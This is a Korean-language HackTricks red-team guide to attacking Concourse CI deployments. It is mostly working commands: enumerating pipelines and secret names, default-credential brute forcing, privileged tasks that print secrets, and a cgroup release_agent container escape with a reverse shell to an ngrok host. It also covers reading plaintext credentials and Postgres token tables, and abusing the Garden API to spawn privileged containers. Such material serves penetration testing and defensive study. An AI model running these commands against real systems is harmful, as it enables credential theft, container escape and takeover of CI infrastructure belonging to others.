Concourse Enumeration & Attacks

Concourse 열거 및 공격

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

사용자 역할 및 권한

Concourse에는 다섯 가지 역할이 있습니다:

  • Concourse 관리자: 이 역할은 주요 팀 (기본 초기 concourse 팀)의 소유자에게만 부여됩니다. 관리자는 다른 팀을 구성할 수 있습니다 (예: fly set-team, fly destroy-team...). 이 역할의 권한은 RBAC에 의해 영향을 받지 않습니다.

  • 소유자: 팀 소유자는 팀 내에서 모든 것을 수정할 수 있습니다.

  • 구성원: 팀 구성원은 팀 자산 내에서 읽고 쓸 수 있지만 팀 설정을 수정할 수는 없습니다.

  • 파이프라인 운영자: 파이프라인 운영자는 빌드를 트리거하고 리소스를 고정하는 등 파이프라인 작업을 수행할 수 있지만 파이프라인 구성을 업데이트할 수는 없습니다.

  • 뷰어: 팀 뷰어는 팀과 해당 파이프라인에 대한 "읽기 전용" 액세스 권한을 갖습니다.

또한, 소유자, 구성원, 파이프라인 운영자 및 뷰어 역할의 권한을 수정할 수 있습니다. RBAC를 구성하여 (보다 구체적으로 작업을 구성함) 자세한 내용은 다음에서 확인할 수 있습니다: https://concourse-ci.org/user-roles.html

Concourse는 파이프라인을 팀 내에 그룹화합니다. 따라서 팀에 속한 사용자는 해당 파이프라인을 관리할 수 있으며 여러 팀이 존재할 수 있습니다. 사용자는 여러 팀에 속할 수 있으며 각 팀마다 다른 권한을 갖을 수 있습니다.

변수 및 자격 증명 관리자

YAML 구성에서는 ((_source-name_:_secret-path_._secret-field_)) 구문을 사용하여 값을 구성할 수 있습니다. 문서에서: source-name은 선택 사항이며 생략하면 클러스터 전체 자격 증명 관리자가 사용되거나 정적으로 제공될 수 있습니다. 선택적인 _secret-field_는 가져온 비밀을 읽을 필드를 지정합니다. 생략된 경우, 자격 증명 관리자는 필드가 있는 경우 가져온 자격 증명에서 '기본 필드'를 읽을 수 있습니다. 또한, secret-path 및 _secret-field_는 .:와 같은 특수 문자를 포함하는 경우 이중 따옴표 "..."로 둘러싸일 수 있습니다. 예를 들어 ((source:"my.secret"."field:1"))는 _secret-path_를 my.secret로 설정하고 _secret-field_를 field:1로 설정합니다.

정적 변수

정적 변수는 작업 단계에서 지정할 수 있습니다:

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

fly 인수를 사용하거나 다음을 사용할 수 있습니다:

  • -v 또는 --var NAME=VALUE는 문자열 VALUE를 var NAME의 값으로 설정합니다.

  • -y 또는 --yaml-var NAME=VALUEVALUE를 YAML로 구문 분석하고 var NAME의 값으로 설정합니다.

  • -i 또는 --instance-var NAME=VALUEVALUE를 YAML로 구문 분석하고 인스턴스 var NAME의 값으로 설정합니다. 파이프라인 그룹화에서 인스턴스 var에 대해 자세히 알아보세요.

  • -l 또는 --load-vars-from FILE은 var 이름과 값의 매핑을 포함하는 YAML 문서인 FILE을 로드하고 모두 설정합니다.

자격 증명 관리

파이프라인에서 자격 증명 관리자를 지정하는 다양한 방법이 있습니다. 자세한 내용은 https://concourse-ci.org/creds.html에서 확인하세요. 또한 Concourse는 다양한 자격 증명 관리자를 지원합니다:

Concourse에 쓰기 액세스 권한이 있는 경우 Concourse가 액세스해야 하는 비밀을 외부로 유출할 수 있는 작업을 생성할 수 있습니다.

Concourse 열거

Concourse 환경을 열거하려면 먼저 유효한 자격 증명을 수집하거나 아마도 .flyrc 구성 파일에서 인증된 토큰을 찾아야 합니다.

로그인 및 현재 사용자 열거

  • 로그인하려면 엔드포인트, 팀 이름 (기본값은 main), 사용자가 속한 팀을 알아야 합니다:

  • fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]

  • 구성된 대상 가져오기:

  • fly targets

  • 구성된 대상 연결이 여전히 유효한지 확인:

  • fly -t <target> status

  • 지정된 대상에 대한 사용자의 역할 가져오기:

  • fly -t <target> userinfo

API 토큰은 기본적으로 $HOME/.flyrc저장되며, 기계를 약탈하면 해당 자격 증명을 찾을 수 있습니다.

팀 및 사용자

  • 팀 목록 가져오기

  • fly -t <target> teams

  • 팀 내에서 역할 가져오기

  • fly -t <target> get-team -n <team-name>

  • 사용자 목록 가져오기

  • fly -t <target> active-users

파이프라인

  • 파이프라인 목록:

  • fly -t <target> pipelines -a

  • 파이프라인 yaml 가져오기 (민감한 정보가 정의에서 발견될 수 있음):

  • fly -t <target> get-pipeline -p <pipeline-name>

  • 모든 파이프라인 구성 선언된 var 가져오기

  • for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done

  • 사용된 모든 파이프라인 비밀 이름 가져오기 (작업을 생성하거나 컨테이너를 탈취할 수 있다면 이를 외부로 유출할 수 있음):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

컨테이너 및 워커

  • 워커 목록:

  • fly -t <대상> workers

  • 컨테이너 목록:

  • fly -t <대상> containers

  • 빌드 목록 (실행 중인 것 확인):

  • fly -t <대상> builds

Concourse 공격

자격 증명 브루트 포스

  • admin:admin

  • test:test

비밀 및 매개변수 열거

이전 섹션에서 파이프라인에서 사용된 모든 비밀 이름과 변수를 가져올 수 있는 방법을 보았습니다. 변수에는 민감한 정보가 포함될 수 있으며 비밀 이름은 나중에 도용을 시도하는 데 유용할 것입니다.

실행 중이거나 최근에 실행된 컨테이너 내 세션

충분한 권한이 있으면 (멤버 역할 또는 그 이상), <파이프라인>/<작업> 컨테이너 내에서 세션을 가져올 수 있습니다. 파이프라인 및 역할을 나열하고 다음을 사용하여 세션을 가져올 수 있습니다:

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

다음 권한이 있으면 다음을 수행할 수 있습니다:

  • 컨테이너 내부의 비밀 정보도용할 수 있습니다.

  • 노드로 이탈을 시도할 수 있습니다.

  • 클라우드 메타데이터 엔드포인트를 열거하거나 남용할 수 있습니다 (가능한 경우 파드 및 노드에서).

파이프라인 생성/수정

충분한 권한(멤버 역할 또는 그 이상)이 있다면 새로운 파이프라인을 생성/수정할 수 있습니다. 다음 예제를 확인하세요:

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

새로운 파이프라인을 수정/생성 함으로써 다음을 수행할 수 있습니다:

  • 비밀 정보를 탈취합니다 (echo를 통해 노출하거나 컨테이너 내부로 들어가 env를 실행)

  • 노드로 이탈합니다 (충분한 권한을 부여함으로써 - privileged: true)

  • 클라우드 메타데이터 엔드포인트를 열거/남용합니다 (팟 및 노드에서)

  • 생성된 파이프라인을 삭제합니다

사용자 정의 작업 실행

이전 방법과 유사하지만 새로운 전체 파이프라인을 수정/생성하는 대신 사용자 정의 작업을 실행할 수 있습니다 (아마도 훨씬 은밀할 것입니다):

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml

특권 작업에서 노드로 이탈하기

이전 섹션에서 concourse로 특권 작업을 실행하는 방법을 살펴보았습니다. 이는 도커 컨테이너의 특권 플래그와 정확히 동일한 액세스 권한을 컨테이너에 부여하지는 않습니다. 예를 들어, /dev에 노드 파일 시스템 장치가 표시되지 않으므로 이탈이 더 "복잡"할 수 있습니다.

다음 PoC에서는 release_agent를 사용하여 일부 작은 수정으로 이탈할 것입니다:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

앞서 언급한 대로 이것은 일반적인 release_agent 탈출으로 노드에서 cmd의 경로를 수정하는 것뿐입니다.

Worker 컨테이너에서 노드로 탈출하기

작은 수정을 가한 일반적인 release_agent 탈출이 여기에 충분합니다:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

웹 컨테이너에서 노드로 이탈

웹 컨테이너에 일부 방어 기능이 비활성화되어 있더라도 일반적인 권한이 있는 컨테이너로 실행되지 않습니다 (예를 들어, 마운트할 수 없으며 캐퍼빌리티가 매우 제한적이므로 컨테이너에서 이탈하는 쉬운 방법은 모두 쓸모가 없습니다).

그러나 이 컨테이너는 평문으로 로컬 자격 증명을 저장합니다:

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

당겨서 웹 서버에 로그인하고 특권 컨테이너를 생성하고 노드로 이탈하는 데 해당 자격 증명을 사용할 수 있습니다.

환경에서는 concourse가 사용하는 postgresql에 액세스할 수 있는 정보도 찾을 수 있습니다 (주소, 사용자 이름, 암호 및 데이터베이스를 포함한 기타 정보):

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Garden 서비스 남용 - 실제 공격이 아닙니다

이 서비스에 대한 흥미로운 노트이지만, 로컬호스트에서만 수신하기 때문에, 이 노트들은 이미 악용한 영향을 제공하지 않을 것입니다.

기본적으로 각 Concourse 워커는 포트 7777에서 Garden 서비스를 실행합니다. 이 서비스는 웹 마스터가 워커에게 무엇을 실행해야 하는지 알려주는 데 사용됩니다(이미지 다운로드 및 각 작업 실행). 이것은 공격자에게 꽤 좋아 보이지만, 몇 가지 좋은 보호 기능이 있습니다:

  • 로컬로 노출되어 있으며(127..0.0.1), 워커가 특별한 SSH 서비스로 웹에 인증할 때, 터널이 생성되어 웹 서버가 각 워커 내의 각 Garden 서비스와 통신할 수 있습니다.

  • 웹 서버는 몇 초마다 실행 중인 컨테이너를 모니터링하며, 예기치 않은 컨테이너는 삭제됩니다. 따라서 사용자 정의 컨테이너를 실행하려면 웹 서버와 Garden 서비스 간의 통신을 조작해야 합니다.

Concourse 워커는 높은 컨테이너 권한으로 실행됩니다:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

그러나 노드의 파일 시스템이 아닌 가상 장치만 접근 가능하기 때문에 /dev 장치를 마운트하거나 release_agent를 실행하는 기술은 작동하지 않습니다. 노드의 프로세스에 액세스할 수 없기 때문에 커널 exploit 없이 노드에서 탈출하는 것이 복잡해집니다.

이전 섹션에서 우리는 특권 컨테이너에서 탈출하는 방법을 보았으므로, 현재 worker에 의해 생성된 특권 컨테이너에서 명령을 실행할 수 있다면 노드로 탈출할 수 있습니다.

Concourse를 다루면서 새로운 컨테이너가 무언가를 실행하기 위해 생성될 때, 컨테이너 프로세스는 worker 컨테이너에서 접근할 수 있음을 알았습니다. 따라서 이는 컨테이너가 그 안에 새로운 컨테이너를 생성하는 것과 같습니다.

실행 중인 특권 컨테이너 내부로 들어가기

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

새로운 권한이 있는 컨테이너 생성

매우 쉽게 새로운 컨테이너를 생성할 수 있습니다 (무작위 UID로 실행).

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

그러나 웹 서버는 실행 중인 컨테이너를 몇 초마다 확인하며 예기치 않은 컨테이너가 발견되면 삭제됩니다. 통신이 HTTP로 이루어지기 때문에 통신을 변조하여 예기치 않은 컨테이너의 삭제를 피할 수 있습니다:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

참고 자료

  • https://concourse-ci.org/vars.html

제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

最終更新